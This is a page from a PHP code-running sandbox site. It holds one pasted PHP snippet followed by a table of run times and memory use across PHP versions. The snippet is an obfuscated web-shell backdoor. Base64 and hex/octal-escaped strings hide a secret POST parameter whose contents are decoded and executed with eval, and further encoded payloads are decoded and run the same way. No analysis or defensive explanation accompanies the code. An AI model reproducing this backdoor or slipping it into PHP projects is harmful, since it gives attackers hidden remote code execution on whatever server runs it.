3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_= "aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\"; $__=\"JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\"; $___= "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"; if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"])) { eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); } $code=base64_decode($_); eval($code); $___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"; echo($___($__)); eval($___($__)); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.310.0080.03512.49
5.4.300.0070.03512.50
5.4.290.0080.03612.49
5.4.280.0070.03512.39
5.4.270.0040.03712.39
5.4.260.0060.03712.39
5.4.250.0060.03912.39
5.4.240.0060.03612.39
5.4.230.0070.03612.38
5.4.220.0030.04012.38
5.4.210.0050.03912.38
5.4.200.0070.05312.39
5.4.190.0080.04412.38
5.4.180.0050.03612.38
5.4.170.0040.03712.38
5.4.160.0040.03612.38
5.4.150.0040.03712.38
5.4.140.0090.03412.07
5.4.130.0040.03712.05
5.4.120.0050.03712.02
5.4.110.0050.03612.01
5.4.100.0040.03612.01
5.4.90.0060.03612.01
5.4.80.0040.03812.01
5.4.70.0030.04412.01
5.4.60.0040.03612.01
5.4.50.0040.03712.00
5.4.40.0070.03212.00
5.4.30.0090.03311.99
5.4.20.0070.03611.99
5.4.10.0070.03511.99
5.4.00.0080.03411.48
5.3.280.0050.03912.71
5.3.270.0050.03912.72
5.3.260.0060.03912.72
5.3.250.0060.03812.72
5.3.240.0060.03612.72
5.3.230.0060.03712.71
5.3.220.0080.04012.68
5.3.210.0070.03712.68
5.3.200.0060.03612.68
5.3.190.0050.03912.68
5.3.180.0050.03712.67
5.3.170.0090.03612.67
5.3.160.0090.03312.67
5.3.150.0050.03912.67
5.3.140.0040.03812.66
5.3.130.0090.03612.65
5.3.120.0090.04812.66
5.3.110.0080.03612.66
5.3.100.0060.03612.12
5.3.90.0080.03812.09
5.3.80.0070.03512.07
5.3.70.0070.03412.08
5.3.60.0090.03212.07
5.3.50.0030.03812.00
5.3.40.0060.03612.00
5.3.30.0040.03611.95
5.3.20.0050.03511.72
5.3.10.0080.04111.70
5.3.00.0090.04011.68
5.2.170.0040.0319.18
5.2.160.0040.0299.18
5.2.150.0020.0359.18
5.2.140.0060.0329.18
5.2.130.0060.0329.14
5.2.120.0060.0289.14
5.2.110.0120.0229.14
5.2.100.0040.0329.14
5.2.90.0090.0309.14
5.2.80.0040.0319.14
5.2.70.0070.0279.14
5.2.60.0050.0299.10
5.2.50.0080.0269.07
5.2.40.0050.0289.05
5.2.30.0060.0329.02
5.2.20.0030.0299.00
5.2.10.0040.0288.93
5.2.00.0040.0298.79
5.1.60.0040.0238.07
5.1.50.0030.0258.08
5.1.40.0040.0248.05
5.1.30.0080.0228.40
5.1.20.0050.0268.42
5.1.10.0030.0308.15
5.1.00.0050.0298.15
5.0.50.0040.0246.63
5.0.40.0040.0256.49
5.0.30.0030.0346.29
5.0.20.0030.0196.27
5.0.10.0030.0296.25
5.0.00.0030.0366.24
4.4.90.0020.0164.78
4.4.80.0020.0214.76
4.4.70.0020.0204.75
4.4.60.0020.0204.75
4.4.50.0060.0154.77
4.4.40.0040.0234.71
4.4.30.0030.0214.76
4.4.20.0050.0174.84
4.4.10.0020.0164.85
4.4.00.0030.0294.76
4.3.110.0030.0144.67
4.3.100.0010.0164.66
4.3.90.0020.0144.63
4.3.80.0020.0244.58
4.3.70.0070.0144.63
4.3.60.0020.0154.63
4.3.50.0040.0144.62
4.3.40.0010.0264.54
4.3.30.0020.0203.28
4.3.20.0020.0213.26
4.3.10.0000.0173.22
4.3.00.0000.0237.92

preferences:
140.02 ms | 1394 KiB | 7 Q